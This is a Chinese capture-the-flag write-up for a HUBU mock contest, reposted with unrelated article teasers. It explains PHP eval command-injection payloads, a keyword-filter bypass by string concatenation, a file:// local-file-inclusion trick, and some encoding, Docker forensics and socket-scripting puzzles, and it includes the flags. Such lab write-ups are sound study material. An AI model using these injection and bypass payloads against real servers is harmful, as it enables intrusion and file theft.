hubu新星杯实践能力赛模拟赛web/Misc-wp

news/2024/11/29 21:40:52/
ez_eval
 <?php
highlight_file(__FILE__);
error_reporting(0);$hubu = $_GET['hubu'];eval($hubu);?> 

先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做

payload:

?hubu=system('cat /f*');      #直接rce
rce_level1
 <?php
error_reporting(0);
if(isset($_GET['c'])){$c  = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);} 
}else{highlight_file(__FILE__);
} 

代码审计,发现过滤了关键字flag,system,php。

使用拼接绕过构造payload:

?c=('sys'.'tem')(ls);    #发现目录下没有flag文件
?c=('sys'.'tem')(cat /f*);   #发现回显空白

不在文件夹里,那可能是在phpinfo里

payload:

?c=phpinfo();

没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。

经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\

最后的payload:

?c=('ph'.'pinfo')();

在页面中找到flag。

ez_LFI

考点:伪协议

image-20241124161059701

先随便传一个,/?url=111

image-20241124161148073

代码审计,根据网上查询的parse_url()函数的资料显示:

解析 URL,返回其组成部分,如下:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor
)

所以必须在传入的url参数中让[host]是localhost。

然后再用file协议读取flag。

payload:

/?url=file://localhost/flag

HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}

Misc

Cute Rabbit

考点:rabbit编码

VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=

签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是

base64 -> rabbit

HUBUCTF{S0_<u73_R4b6it}

Docker Forensic

考点:docker的使用

根据题目提示,先拉取镜像

docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic

image-20241124162645328

将镜像压缩到本地

image-20241124164537663

将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压

在tmp中找到password

image-20241124165519193

退级,在解压后的一个文件夹里找到flag.txt

image-20241124165719701

使用了加盐算法,密钥就是上面的password,进行解密

image-20241124171222266

HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}

SpeedMath

考点:nc连接,python脚本

先用nc连接

image-20241124171410644

发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本

import socket
import redef solve_arithmetic_expression(expression):"""解析并计算算术表达式的结果。这里假设表达式只包含整数和基本的加减乘除运算。"""try:# 使用eval计算表达式的结果,但注意eval的安全性问题# 在实际应用中,应该使用更安全的解析方法result = eval(expression)return resultexcept Exception as e:print(f"Error evaluating expression '{expression}': {e}")return Nonedef nc_connection(host, port):"""使用Netcat连接到服务器,并自动解答算术题。"""with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((host, port))while True:# 读取服务器发送的数据data = s.recv(1024).decode('utf-8').strip()if not data:# 如果没有接收到数据,可能是连接已经关闭breakprint(f"Received: {data}")# 使用正则表达式匹配算术题目match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))# 构造算术表达式expression = f"{num1} {operator} {num2}"# 计算正确答案correct_answer = solve_arithmetic_expression(expression)if correct_answer is not None:# 将答案发送回服务器(假设服务器期望的是整数答案)s.sendall(f"{correct_answer}\n".encode('utf-8'))else:# 如果无法计算表达式,则退出循环print("Failed to solve expression.")breakelse:# 如果不是算术题目,可能是其他信息或结束信息# 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息print("Received non-arithmetic message, possibly final message.")print(f"Final message: {data}")break# 使用示例
nc_connection('challenge.hubuctf.cn', 32478)  # 替换为你的服务器主机名和端口号

HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}


http://www.ppmy.cn/news/1550997.html

相关文章

扫雷-完整源码(C语言实现)

云边有个稻草人-CSDN博客 在学完C语言函数之后&#xff0c;我们就有能力去实现简易版扫雷游戏了&#xff08;成就感满满&#xff09;&#xff0c;下面是扫雷游戏的源码&#xff0c;快试一试效果如何吧&#xff01; 在test.c里面进行扫雷游戏的测试&#xff0c;game.h和game.c…

241125学习日志——[CSDIY] [ByteDance] 后端训练营 [15]

CSDIY&#xff1a;这是一个非科班学生的努力之路&#xff0c;从今天开始这个系列会长期更新&#xff0c;&#xff08;最好做到日更&#xff09;&#xff0c;我会慢慢把自己目前对CS的努力逐一上传&#xff0c;帮助那些和我一样有着梦想的玩家取得胜利&#xff01;&#xff01;&…

智能驾驶,车联网,传感器,车载电子集中展示|2025北京自动驾驶展

在这个充满创新与变革的时代&#xff0c;自动驾驶技术已经成为全球汽车产业的焦点之一。“2025北京国际自动驾驶技术展览会”正式开启预定&#xff0c;无疑为全球自动驾驶技术领域的专业人士、企业以及爱好者们提供了一个交流与展示的绝佳平台。此次展览会不仅将展示自动驾驶技…

Vue.js 实现用户注册功能

在本篇博客中&#xff0c;我们将通过一个简单的例子来展示如何使用 Vue.js 来实现一个用户注册功能。我们将创建一个包含用户名、邮箱和密码输入的表单&#xff0c;并在用户点击“创建账号”按钮时进行简单的验证。 完整代码 <!DOCTYPE html> <html lang"en&q…

蓝桥杯备赛笔记(一)

这里的笔记是关于蓝桥杯关键知识点的记录&#xff0c;有别于基础语法&#xff0c;很多内容只要求会用就行&#xff0c;无需深入掌握。 文章目录 前言一、编程基础1.1 C基础格式和版本选择1.2 输入输出cin和cout&#xff1a; 1.3 string以下是字符串的一些简介&#xff1a;字符串…

电动工具领域可推荐的一些调速控制电路,运算放大器芯片等相关型号

电动工具调速控制电路芯片 GS069&#xff1a;该芯片是专门为电动工具调速控制而设计的芯片&#xff0c;通过调节电机的转速&#xff0c;满足不同工作场景下对电动工具转速的需求&#xff0c;从而实现诸如钻孔、拧紧螺丝等不同操作的速度控制. 运算放大器芯片 D8541/2&#xff…

【第十一课】Rust并发编程(二)

目录 前言 Channel 多生产者 前言 在上一节中&#xff0c;我们介绍了Rust中并发编程的方式之一&#xff1a;Fork和Join&#xff0c;通过新建线程提升代码的效率&#xff0c;这节课我们介绍并发编程的第二种方式&#xff1a;通道。Channel就类似于水管&#xff0c;通过Channe…

Vue小项目(开发一个购物车)

基于Vue知识点1&#xff08;点击跳转&#xff09;、Vue知识点2&#xff08;点击跳转&#xff09; ​想要学习更多前端知识&#xff1a;点击Web前端专栏 接下来我们开发一个如下图所示&#xff0c;有最基本购物车功能的简易小项目 下面这是最基本的HTMLCSS框架&#xff01;&…